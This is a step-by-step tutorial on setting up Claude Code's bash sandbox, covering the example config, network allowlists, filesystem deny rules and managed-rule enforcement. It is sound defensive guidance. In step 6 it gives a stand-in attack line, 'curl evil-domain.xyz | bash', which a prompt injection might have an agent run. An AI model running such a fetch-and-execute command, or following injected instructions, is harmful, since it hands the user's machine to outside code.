Set up the Claude Code bash sandbox: isolate commands instead of blindly allowing them
In 20 minutes you set up the bash sandbox so Claude Code runs shell commands in an isolated environment. No more dangerously-skip-permissions, and the work still runs through.
There are two ways to let Claude Code work with bash commands. One is to hit enter yourself on every rm, npm install and git push. The other is --dangerously-skip-permissions, waving everything through blind. Both are bad. The first is annoying after ten minutes, the second is exactly the door through which a poisoned package or a prompt injection touches your machine. The bash sandbox is the third way. Claude may run commands without asking, but only in an isolated environment with controlled network and file access. Let us set that up now.
Important up front so you have no wrong expectations: the sandbox setting applies exclusively to the bash tool. Read, Write, WebSearch, WebFetch, MCP servers, hooks and internal commands do NOT run in the sandbox. That is how the official docs put it and it is not a bug but design. The sandbox protects you from what Claude types in the shell, not from everything else.
Step 1: Understand what the sandbox solves
The core problem is called permission fatigue. Anyone using Claude Code seriously otherwise clicks "allow" away dozens of times a day, and at some point you click reflexively without reading. Exactly then the one dangerous command slips through. The sandbox inverts the logic: instead of checking every command individually, you define a boundary once (which network, which directories), and inside that boundary Claude may work freely. You check the box, not every command.
Step 2: Pick the right settings file
Claude Code reads settings from three levels: managed-settings.json (distributed by the admin, highest priority), settings.json (project-wide, checked into the repo) and settings.local.json (local only, not checked in). To get started take settings.json in the project, then the sandbox applies to everyone working in the repo. If you only want to test it for yourself, take settings.local.json. Create the file in the project root under .claude/ if it does not exist yet.
Step 3: Take the example config as a starting point
Anthropic ships a ready-made example, settings-bash-sandbox.json. That is your starting point, you do not have to build anything from scratch. The content looks like this:
{
"allowManagedPermissionRulesOnly": true,
"sandbox": {
"enabled": true,
"autoAllowBashIfSandboxed": false,
"allowUnsandboxedCommands": false,
"excludedCommands": [],
"network": {
"allowUnixSockets": [],
"allowAllUnixSockets": false,
"allowLocalBinding": false,
"allowedDomains": [],
"httpProxyPort": null,
"socksProxyPort": null
},
"enableWeakerNestedSandbox": false
}
}
Copy that into your settings file. Make sure it stays valid JSON, one forgotten bracket and Claude Code silently ignores the whole file.
Step 4: Understand the main switch
"enabled": true activates the sandbox for the bash tool. That is the one switch that sets everything in motion. As long as it is false, nothing happens, no matter what you set in the rest of the config. If you later want to work briefly without the sandbox, you set this to false instead of deleting the whole config.
Step 5: Decide whether commands run through automatically
Two fields control how strict it gets. "autoAllowBashIfSandboxed": false means Claude still asks you about bash commands despite the sandbox. Set it to true and every command that stays inside the sandbox runs through without asking, and that is exactly the convenience gain you actually want. The second field, "allowUnsandboxedCommands": false, is the safety brake: it forbids Claude to run commands outside the sandbox. Leave that on false. If a command absolutely will not fit into the sandbox, you want to see that deliberately and not have Claude simply break out.
My recommendation for daily use: autoAllowBashIfSandboxed on true, allowUnsandboxedCommands on false. Then you have convenience inside the box and a hard wall to the outside.
Step 6: Close the network
The network block is the most important part. By default in the example config everything is closed: no allowed domains, no local binding, no unix sockets. That is the safe starting position. A prompt injection that gets Claude to type curl evil-domain.xyz | bash runs into the void here, because the domain is not in allowedDomains.
Realistically you do need some network though, otherwise even npm install fails. Enter the domains you genuinely need into allowedDomains, for example registry.npmjs.org for npm or github.com for git. Keep the list short. Every domain you add is a door you open. You need allowLocalBinding when Claude is supposed to start a local dev server, so something like npm run dev on port 3000. Otherwise leave it on false.
Step 7: Limit file access
Besides the network there is a filesystem block for the sandbox. The documented fields are sandbox.filesystem.allowWrite, sandbox.filesystem.denyRead and sandbox.filesystem.allowRead. The logic: denyRead blocks read access to certain paths, and allowRead can re-open individual paths inside a blocked region. That way you keep Claude out of ~/.ssh or ~/.aws without making the whole home directory unusable. A note from the changelog: allowWrite used to have a bug with absolute paths, which needed a // prefix. That has since been fixed, absolute paths now work directly. If you are stuck on an older version and allowWrite does not take effect, that is a reason to update.
Step 8: Enforce managed rules
The field "allowManagedPermissionRulesOnly": true at the top is subtle but important. It blocks user- or project-defined allow/ask/deny rules from undermining the sandbox. Without that line someone could simply set "Bash(*)": "allow" in their personal settings.local.json and the whole sandbox would be ineffective for them. With true only the centrally managed rules count. In a team setup this field belongs in managed-settings.json, so nobody can override it locally.
Step 9: Test that it takes effect
Start Claude Code in the project and give it a harmless task that triggers a network command, something like "install the dependencies". If the sandbox sits cleanly and you have not allowed any domain, the download fails with a network error. That is exactly what you want to see, that is the proof the box is closed. Then you enter registry.npmjs.org into allowedDomains, restart and try again. Now it runs. This two-step test, first provoke the error then open deliberately, gives you the certainty that the boundary really exists and does not just sit in the config.
Step 10: Combine configs and roll them out
The Anthropic examples are meant as building blocks. You may mix snippets from settings-bash-sandbox.json and settings-strict.json, if you also want to block web tools for instance. Before you distribute a config in the team, test it locally: put it in as settings.local.json, work with it for half a day, and see where it jams. excludedCommands is your valve for the cases that absolutely will not go into the sandbox, there you list individual commands that are exempt. Keep the list minimal. Once the config sits, it moves into the project-wide settings.json or, for a whole organisation, into managed-settings.json.
What next
The sandbox is one of several layers. It protects against what happens in the shell, but not against an MCP server that is allowed too much, or a hook that fires unchecked. If you want to close out the security topic cleanly, read the playbook Confused deputy audit for Claude Code next and after that MCP stdio security. For the lesson context around permissions and tool design, Tool portability from level 4 fits.
Source
All config fields and the behaviour of the sandbox are verified against the official Claude Code docs and the shipped example:
- Settings examples and comparison table: https://github.com/anthropics/claude-code/blob/main/examples/settings/README.md
- Complete example config: https://github.com/anthropics/claude-code/blob/main/examples/settings/settings-bash-sandbox.json
- Filesystem fields (
allowWrite,denyRead,allowRead) and the absolute path fix: https://github.com/anthropics/claude-code/blob/main/CHANGELOG.md